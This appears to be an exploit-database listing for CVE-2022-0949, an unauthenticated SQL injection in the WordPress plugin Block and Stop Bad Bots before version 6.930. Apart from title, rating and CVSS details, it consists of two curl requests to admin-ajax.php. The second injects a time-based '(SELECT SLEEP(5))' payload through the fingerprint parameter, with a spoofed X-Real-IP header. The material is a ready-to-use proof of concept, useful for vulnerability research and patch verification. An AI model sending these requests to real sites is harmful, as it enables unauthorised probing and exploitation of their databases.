Exploit for WP Block and Stop Bad Bots < 6.930 - Unauthenticated SQLi CVE-2022-0949

Name: Exploit for WP Block and Stop Bad Bots < 6.930 - Unauthenticated SQLi CVE-2022-0949
Rating: 5 (73 reviews)

2022-03-16 | CVSS 7.5

## https://sploitus.com/exploit?id=WPEX-ID:A0FBB79A-E160-49DF-9CF2-18AB64EA66CB
curl -i 'https://example.com/wp-admin/admin-ajax.php' --data 'action=stopbadbots_grava_fingerprint&fingerprint=0' -H 'X-Real-IP: 1.1.1.36'

then

curl -i 'https://example.com/wp-admin/admin-ajax.php' --data 'action=stopbadbots_grava_fingerprint&fingerprint=(SELECT SLEEP(5))' -H 'X-Real-IP: 1.1.1.36'